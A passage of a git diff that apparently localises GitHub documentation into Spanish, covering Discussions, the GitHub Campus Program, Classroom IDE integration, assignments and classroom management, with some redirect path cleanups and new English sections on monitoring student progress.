-Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)."
+Participa en un debate para hacer y responder preguntas, proporcionar retroalimentación e interactuar con la comunidad del proyecto. Para obtener más información, consulta la sección "[Participar en un debate](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)".
 
-You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)."
+Puedes destacar los debates que contengan conversaciones importantes, útiles o ejemplares entre los miembros de la comunidad. Para obtener más información, consulta la sección "[Administrar los debates en tu repositorio](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)".
 
-{% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)."
+{% data reusables.discussions.you-can-convert-an-issue %} Para obtener más información, consulta la sección "[Moderar los debates en tu repositorio](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)".
 
-## Sharing feedback
+## Compartir retroalimentación
 
-You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22).
+Puedes compartir tu retroalimentación sobre los {% data variables.product.prodname_discussions %} con {% data variables.product.company_short %}. Para unirte a la conversación, consulta la sección [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22).
 
-## Further reading
+## Leer más
 
-- "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)"
-- "[Searching discussions](/search-github/searching-on-github/searching-discussions)"
-- "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)"
-- "[Moderating comments and conversations](/communities/moderating-comments-and-conversations)"
-- "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)"
+- "[Acerca de escribir y dar formato en {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)"
+- "[Buscar debates](/search-github/searching-on-github/searching-discussions)"
+- "[Acerca de las notificaciones](/github/managing-subscriptions-and-notifications-on-github/about-notifications)"
+- "[Moderar comentarios y conversaciones](/communities/moderating-comments-and-conversations)"
+- "[Mantener tu seguridad en {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)"
diff --git a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md
index 5061637838..c33d28aebc 100644
--- a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md
+++ b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md
@@ -14,7 +14,7 @@ Profesores, maestros y mentores pueden usar la capacitación en línea de Asesor
 
 {% note %}
 
-**Note:** As an instructor, you can't create accounts on {% data variables.product.product_location %} for your students. Students must create their own accounts on {% data variables.product.product_location %}.
+**Nota:** Como instructor, no puedes crear cuentas para tus alumnos en {% data variables.product.product_location %}. Los alumnos deben crear sus propias cuentas en {% data variables.product.product_location %}.
 
 {% endnote %}
 
diff --git a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md
index e99cae3fc8..d9bb3f96d5 100644
--- a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md
+++ b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub Campus Program
-intro: '{% data variables.product.prodname_campus_program %} offers {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} free-of-charge for schools that want to make the most of {% data variables.product.prodname_dotcom %} for their community.'
+title: Acerca del Programa del Campus de GitHub
+intro: 'el {% data variables.product.prodname_campus_program %} ofrece {% data variables.product.prodname_ghe_cloud %} y {% data variables.product.prodname_ghe_server %} gratuitos para las escuelas que quieran sacar el mayor provecho de {% data variables.product.prodname_dotcom %} para su comunidad.'
 redirect_from:
   - /education/teach-and-learn-with-github-education/about-github-education
   - /github/teaching-and-learning-with-github-education/about-github-education
@@ -9,38 +9,39 @@ redirect_from:
   - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program
 versions:
   fpt: '*'
-shortTitle: GitHub Campus Program
+shortTitle: Programa del Campus de GitHub
 ---
-{% data variables.product.prodname_campus_program %} is a package of premium {% data variables.product.prodname_dotcom %} access for teaching-focused institutions that grant degrees, diplomas, or certificates. {% data variables.product.prodname_campus_program %} includes:
 
-- No-cost access to {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} for all of your technical and academic departments
-- 50,000 {% data variables.product.prodname_actions %} minutes and 50 GB {% data variables.product.prodname_registry %} storage
-- Teacher training to master Git and {% data variables.product.prodname_dotcom %} with our [Campus Advisor program](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-advisors)
-- Exclusive access to new features, GitHub Education-specific swag, and free developer tools from {% data variables.product.prodname_dotcom %} partners
-- Automated access to premium {% data variables.product.prodname_education %} features, like the {% data variables.product.prodname_student_pack %}
+El {% data variables.product.prodname_campus_program %} es un paquete de acceso premium a {% data variables.product.prodname_dotcom %} para instituciones enfocadas en la enseñanza que otorgan certificados, diplomas y nombramientos. El {% data variables.product.prodname_campus_program %} incluye:
 
-To read about how GitHub is used by educators, see [GitHub Education stories.](https://education.github.com/stories)
+- Acceso sin costo a {% data variables.product.prodname_ghe_cloud %} y {% data variables.product.prodname_ghe_server %} para todos tus departamentos técnicos y académicos
+- 50,000 minutos de {% data variables.product.prodname_actions %} y 50 GB de almacenamiento de {% data variables.product.prodname_registry %}
+- Capacitación de maestro para dominar Git y {% data variables.product.prodname_dotcom %} con nuestro [Programa de asesor del campus](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-advisors)
+- Acceso exclusivo a las características nuevas, swag específico de la Educación de GitHub y herramientas de desarrollo gratuitas de los socios de {% data variables.product.prodname_dotcom %}
+- Acceso automatizado a las funciones premium de {% data variables.product.prodname_education %}, como {% data variables.product.prodname_student_pack %}
 
-## {% data variables.product.prodname_campus_program %} terms and conditions
+Para administrar la forma en la que los educadores utilizan GitHub, consulta las [Historias de los educadores de GitHub](https://education.github.com/stories).
 
-- The license is free for one year and will automatically renew for free every 2 years. You may continue on the free license so long as you continue to operate within the terms of the agreement. Any school that can agree to the [terms of the program](https://education.github.com/schools/terms) is welcome to join.
+## Términos y condiciones de {% data variables.product.prodname_campus_program %}
 
-- Please note that the licenses are for use by the whole school. Internal IT departments, academic research groups, collaborators, students, and other non-academic departments are eligible to use the licenses so long as they are not making a profit from its use. Externally funded research groups that are housed at the university may not use the free licenses.
+- La licencia es gratuita por un año y se renovará automáticamente de forma gratuita cada 2 años. Puedes seguir con la licencia gratuita siempre y cuando sigas operando dentro de las condiciones del acuerdo. Cualquier escuela que acepte las [condiciones del programa](https://education.github.com/schools/terms) puede unirse.
 
-- You must offer {% data variables.product.prodname_dotcom %} to all of your technical and academic departments and your school’s logo will be shared on the GitHub Education website as a {% data variables.product.prodname_campus_program %} Partner.
+- Por favor, toma en cuenta que las licencias son para que toda la escuela las utilice. Los departamentos internos de TI, grupos de investigación académica, colaboradores, alumnos y otros departamentos no académicos son elegibiles para utilizar las licencias mientras no se estén beneificiando económicamente por utilizarlas. Los grupos de investigación financiados externamente que se hospeden en la universidad no pueden utilizar licencias gratuitas.
 
-- New organizations in your enterprise are automatically added to your enterprise account. To add organizations that existed before your school joined the {% data variables.product.prodname_campus_program %}, please contact [GitHub Education Support](https://support.github.com/contact/education). For more information about administrating your enterprise, see the [enterprise administrators documentation](/admin). New organizations in your enterprise are automatically added to your enterprise account. To add organizations that existed before your school joined the {% data variables.product.prodname_campus_program %}, please contact GitHub Education Support. 
+- Debes ofrecer {% data variables.product.prodname_dotcom %} para todos tus departamentos técnicos y académicos y el logo de tu escuela se compartirá con el sitio de educación de Github como un socio del {% data variables.product.prodname_campus_program %}.
+
+- Las organizaciones nuevas en tu empresa se agregan automáticamente a tu cuenta empresarial. Para agregar organizaciones que existían antes de que tu escuela se uniera al {% data variables.product.prodname_campus_program %}, por favor, contacta al [Soporte de GitHub Education](https://support.github.com/contact/education). Para obtener más información sobre cómo administrar tu empresa, consulta la [documentación para administradores empresariales](/admin). Las organizaciones nuevas en tu empresa se agregan automáticamente a tu cuenta empresarial. Para agregar organizaciones que existían antes de que tu escuela se uniera al {% data variables.product.prodname_campus_program %}, por favor, contacta al Soporte de GitHub Education.
 
 
-To read more about {% data variables.product.prodname_dotcom %}'s privacy practices, see ["Global Privacy Practices"](/github/site-policy/global-privacy-practices)
+Para leer más sobre las prácticas de seguridad de {% data variables.product.prodname_dotcom %}, consulta la sección "[Prácticas de privacidad globales"](/github/site-policy/global-privacy-practices)
 
-## {% data variables.product.prodname_campus_program %} Application Eligibility
+## Eligibilidad de solicitud al {% data variables.product.prodname_campus_program %}
 
-- Often times, a campus CTO/CIO, Dean, Department Chair, or Technology Officer signs the terms of the program on behalf of the campus.
+- A menudo, un CTO/CIO del campus, Decano, Jefe de Departamento u Oficial de Tecnología firma las condiciones del programa en nombre del campus.
 
-- If your school does not issue email addresses, {% data variables.product.prodname_dotcom %} will reach out to your account administrators with an alternative option to allow you to distribute the student developer pack to your students.
+- Si tu escuela no emite direcciones de correo electrónico, {% data variables.product.prodname_dotcom %} contactará a los administradores de tu cuenta con una opción alternativa para permitirte distribuir el paquete de desarrollo para alumnos a tus alumnos.
 
-For more information, see the [official {% data variables.product.prodname_campus_program %}](https://education.github.com/schools) page.
+Para obtener más información, consulta la página [oficial {% data variables.product.prodname_campus_program %}](https://education.github.com/schools).
 
-If you're a student or academic faculty and your school isn't partnered with {% data variables.product.prodname_dotcom %} as a {% data variables.product.prodname_campus_program %} school, then you can still individually apply for discounts to use {% data variables.product.prodname_dotcom %}. To apply for the Student Developer Pack, [see the application form](https://education.github.com/pack/join).
+Si eres un estudiante validado o académico y tu escuela no está asociada con {% data variables.product.prodname_dotcom %} como una escuela {% data variables.product.prodname_campus_program %}, aún puedes solicitar descuentos de forma individual para usar {% data variables.product.prodname_dotcom %}. Para solicitar el paquete de alumno desarrollador, [consulta el formato de solicitud](https://education.github.com/pack/join).
 
diff --git a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md
index 514bf5d42f..3249d81ea8 100644
--- a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md
+++ b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md
@@ -4,7 +4,7 @@ intro: 'Review common reasons that applications for the {% data variables.produc
 redirect_from:
   - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved
   - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved
-  - /articles/why-was-my-application-for-a-student-developer-pack-denied/
+  - /articles/why-was-my-application-for-a-student-developer-pack-denied
   - /articles/why-wasn-t-my-application-for-a-student-developer-pack-approved
   - /articles/why-wasnt-my-application-for-a-student-developer-pack-approved
   - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved
diff --git a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md
index e43ffc528e..bbd6ce9d9f 100644
--- a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md
+++ b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md
@@ -4,10 +4,10 @@ intro: 'Si eres educador o investigador, puedes aplicar para recibir {% data var
 redirect_from:
   - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount
   - /github/teaching-and-learning-with-github-education/applying-for-an-educator-or-researcher-discount
-  - /articles/applying-for-a-classroom-discount/
-  - /articles/applying-for-a-discount-for-your-school-club/
-  - /articles/applying-for-an-academic-research-discount/
-  - /articles/applying-for-a-discount-for-your-first-robotics-team/
+  - /articles/applying-for-a-classroom-discount
+  - /articles/applying-for-a-discount-for-your-school-club
+  - /articles/applying-for-an-academic-research-discount
+  - /articles/applying-for-a-discount-for-your-first-robotics-team
   - /articles/applying-for-an-educator-or-researcher-discount
   - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount
 versions:
diff --git a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md
index e00e698b34..e8e13f33c6 100644
--- a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md
+++ b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md
@@ -4,7 +4,7 @@ intro: Revisa las razones comunes por las que las solicitudes para un descuento
 redirect_from:
   - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
   - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
-  - /articles/why-was-my-application-for-an-educator-or-researcher-discount-denied/
+  - /articles/why-was-my-application-for-an-educator-or-researcher-discount-denied
   - /articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved
   - /articles/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
   - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
diff --git a/translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md b/translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
index 3d9668f167..497a8efee0 100644
--- a/translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
+++ b/translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
@@ -1,42 +1,43 @@
 ---
-title: Integrate GitHub Classroom with an IDE
-shortTitle: Integrate with an IDE
-intro: 'You can preconfigure a supported integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}.'
+title: Integrar a GitHub Classroom con un IDE
+shortTitle: Integrar con un IDE
+intro: 'Puedes preconfigurar un ambiente de desarrollo integrado (IDE) compatible para las tareas que crees en {% data variables.product.prodname_classroom %}.'
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can integrate {% data variables.product.prodname_classroom %} with an IDE. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can integrate {% data variables.product.prodname_classroom %} with an IDE. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/online-ide-integrations
   - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide
   - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-online-ide
 ---
-## About integration with an IDE
 
-{% data reusables.classroom.about-online-ides %} 
+## Acerca de la integración con un IDE
 
-After a student accepts an assignment with an IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.
+{% data reusables.classroom.about-online-ides %}
 
-## Supported IDEs
+Después de que un alumno acepta una tarea con un IDE, el archivo README en su repositorio de tareas contendrá un botón para abrir dicha tarea en el IDE. El alumno puede comenzar a trabajar de inmediato y no se requiere alguna configuración adicional.
 
-{% data variables.product.prodname_classroom %} supports the following IDEs. You can learn more about the student experience for each IDE.
+## IDE compatibles
 
-| IDE | More information |
-| :- | :- |
-| Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" |
-| Visual Studio Code | [{% data variables.product.prodname_classroom %} extension](http://aka.ms/classroom-vscode-ext) in the Visual Studio Marketplace |
+{% data variables.product.prodname_classroom %} es compatible con los siguientes IDE. Puedes aprender más sobre la experiencia del alumno para cada IDE.
 
-We know cloud IDE integrations are important to your classroom and are working to bring more options. 
+| IDE                       | Más información                                                                                                                                                                                  |
+|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| Microsoft MakeCode Arcade | "[Acerca de utilizar MakeCode Arcade con {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" |
+| Visual Studio Code        | La [extensión de {% data variables.product.prodname_classroom %}](http://aka.ms/classroom-vscode-ext) en el Mercado de Visual Studio                                                             |
 
-## Configuring an IDE for an assignment
+Sabemos que las integraciones con IDE en la nube son importantes para tu aula y estamos trabajando para traerte más opciones.
 
-You can choose the IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
+## Configurar un IDE para una tarea
 
-## Authorizing the OAuth app for an IDE
+Puedes elegir el IDE que te gustaría utilizar para una tarea cuando la crees. Para aprender cómo crear una tarea nueva que utilice un IDE, consulta la sección "[Crear una tarea individual](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" o "[Crear una tarea de grupo](/education/manage-coursework-with-github-classroom/create-a-group-assignment)".
 
-The first time you configure an assignment with an IDE, you must authorize the OAuth app for the IDE for your organization.
+## Autorizar la App de OAuth para un IDE
 
-For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)."
+La primera vez que configuras una tarea con un IDE, deberás autorizar la App de OAuth para este en tu organización.
 
-## Further reading
+En todos tus repositorios, otorga acceso de **lectura** a la app para metadatos, administración y código, y acceso de **escritura** para administración y código. Para obtener más información, consulta la sección "[Autorizar las Apps de OAuth](/github/authenticating-to-github/authorizing-oauth-apps)".
 
-- "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)"
+## Leer más
+
+- "[Acerca de los archivos README](/github/creating-cloning-and-archiving-repositories/about-readmes)"
diff --git a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
index 7654c97ba3..808f2bc50a 100644
--- a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
+++ b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
@@ -126,6 +126,16 @@ You can see the teams that are working on or have submitted an assignment in the
   <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png">
 </div>
 
+## Monitoring students' progress
+The assignment overview page displays information about your assignment acceptances and team progress. You may have different summary information based on the configurations of your assignments.
+
+- **Total teams**: The number of teams that have been created.
+- **Rostered students**: The number of students on the Classroom's roster.
+- **Students not on a team**: The number of students on the Classroom roster who have not yet joined a team.
+-  **Accepted teams**: The number of teams who have accepted this assignment.
+-  **Assignment submissions**: The number of teams that have submitted the assignment. Submission is triggered at the assignment deadline.
+-  **Passing teams**: The number of teams that are currently passing the autograding tests for this assignment.
+
 ## Next steps
 
 - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Repositories](/repositories)," "[Using Git](/github/getting-started-with-github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}.
diff --git a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md
index 6e386bbbed..344f16c04b 100644
--- a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md
+++ b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md
@@ -1,19 +1,20 @@
 ---
-title: Create an assignment from a template repository
-intro: 'You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students.'
-permissions: Organization owners who are admins for a classroom can create an assignment from a template repository that is public or owned by the organization. {% data reusables.classroom.classroom-admins-link %}
+title: Crear una tarea desde un repositorio de plantilla
+intro: 'Puedes crear una tarea desde un repositorio de plantilla para proporcionar a tus alumnos código inicial, documentación y otros recursos.'
+permissions: 'Organization owners who are admins for a classroom can create an assignment from a template repository that is public or owned by the organization. {% data reusables.classroom.classroom-admins-link %}'
 versions:
   fpt: '*'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments
   - /education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository
-shortTitle: Template repository
+shortTitle: Repositorio de plantilla
 ---
-You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)."
 
-To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public.
+Puedes utilizar un repositorio de plantilla en {% data variables.product.product_name %} como el código inicial de una tarea en {% data variables.product.prodname_classroom %}. Tu repositorio de plantilla puede contener código modelo, documentación y otros recursos para tus alumnos. Para obtener más información, consulta "[Crear un repositorio de plantilla](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)".
 
-## Further reading
+Para utilizar el repositorio de plantilla para tu tarea, éste debe pertenecer a tu organización, o su visibilidad debe ser pública.
 
-- "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)"
-- "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)"
+## Leer más
+
+- "[Crear una tarea individual](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)"
+- "[Crear una tarea grupal](/education/manage-coursework-with-github-classroom/create-a-group-assignment)"
diff --git a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
index 085d2558c4..e6526e2821 100644
--- a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
+++ b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
@@ -100,12 +100,21 @@ Optionally, you can automatically grade assignments and create a space for discu
 
 {% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
 
-You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
+You can see whether a student has joined the classroom and accepted or submitted an assignment in the **Classroom roster** tab for the assignment. You can also link students' {% data variables.product.prodname_dotcom %} aliases to their associated roster identifier and vice versa in this tab. {% data reusables.classroom.assignments-to-prevent-submission %}
 
 <div class="procedural-image-wrapper">
   <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
 </div>
 
+## Monitoring students' progress
+The assignment overview page provides an overview of your assignment acceptances and student progress. You may have different summary information based on the configurations of your assignments.
+
+- **Rostered students**: The number of students on the Classroom's roster.
+- **Added students**: The number of {% data variables.product.prodname_dotcom %} accounts that have accepted the assignment and are not associated with a roster identifier.
+-  **Accepted students**: The number of accounts have accepted this assignment.
+-  **Assignment submissions**: The number of students that have submitted the assignment. Submission is triggered at the assignment deadline.
+-  **Passing students**: The number of students currently passing the autograding tests for this assignment.
+
 ## Next steps
 
 - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Repositories](/repositories)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)."
diff --git a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md
index 9d01bfbd28..9967edb232 100644
--- a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md
+++ b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md
@@ -1,7 +1,7 @@
 ---
-title: Manage classrooms
-intro: 'You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}.'
-permissions: Organization owners who are admins for a classroom can manage the classroom for an organization. {% data reusables.classroom.classroom-admins-link %}
+title: Administrar aulas
+intro: 'Puedes crear y administrar un aula para cada curso que impartes utilizando {% data variables.product.prodname_classroom %}.'
+permissions: 'Organization owners who are admins for a classroom can manage the classroom for an organization. {% data reusables.classroom.classroom-admins-link %}'
 versions:
   fpt: '*'
 redirect_from:
@@ -9,116 +9,101 @@ redirect_from:
   - /education/manage-coursework-with-github-classroom/manage-classrooms
 ---
 
-## About classrooms
+## Acerca de las aulas
 
 {% data reusables.classroom.about-classrooms %}
 
-![Classroom](/assets/images/help/classroom/classroom-hero.png)
+![Aula](/assets/images/help/classroom/classroom-hero.png)
 
-## About management of classrooms
+## Acerca de la administración de aulas
 
-{% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms.
+{% data variables.product.prodname_classroom %} utiliza cuentas de organización en {% data variables.product.product_name %} para administrar los permisos, la administración y la seguridad de cada aula que crees. Cada organización puede tener varias aulas.
 
-After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}.
+Después de crear un aula, {% data variables.product.prodname_classroom %} te pedirá que invites a los asistentes del maestro (TA) y a los administradores a formar parte de ella. Cada aula puede tener uno o más administradores. Los administradores pueden ser maestros, TA o cualquier otro administrador de curso que quieras tenga control sobre las aulas de {% data variables.product.prodname_classroom %}.
 
-Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classroom. Organization owners can administer any classroom for the organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)."
+Invita a los TA y administradores a tu aula invitando a sus cuentas de usuario en {% data variables.product.product_name %} para que formen parte de tu organización como propietarios de la misma y compartiendo la URL de tu aula. Los propietarios de la organización pueden administrar cualquier aula en ésta. Para obtener más información, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" y "[Invitar usuarios para que se unan a tu organización](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)".
 
-When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom.
+Cuando termines de utilizar un aula, puedes archivarla y referirte a ella, a su registro de alumnos o a sus tareas posteriormente, o puedes borrarla si ya no la necesitas.
 
-## About classroom rosters
+## Acerca de los registros de alumnos de las aulas
 
-Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course.
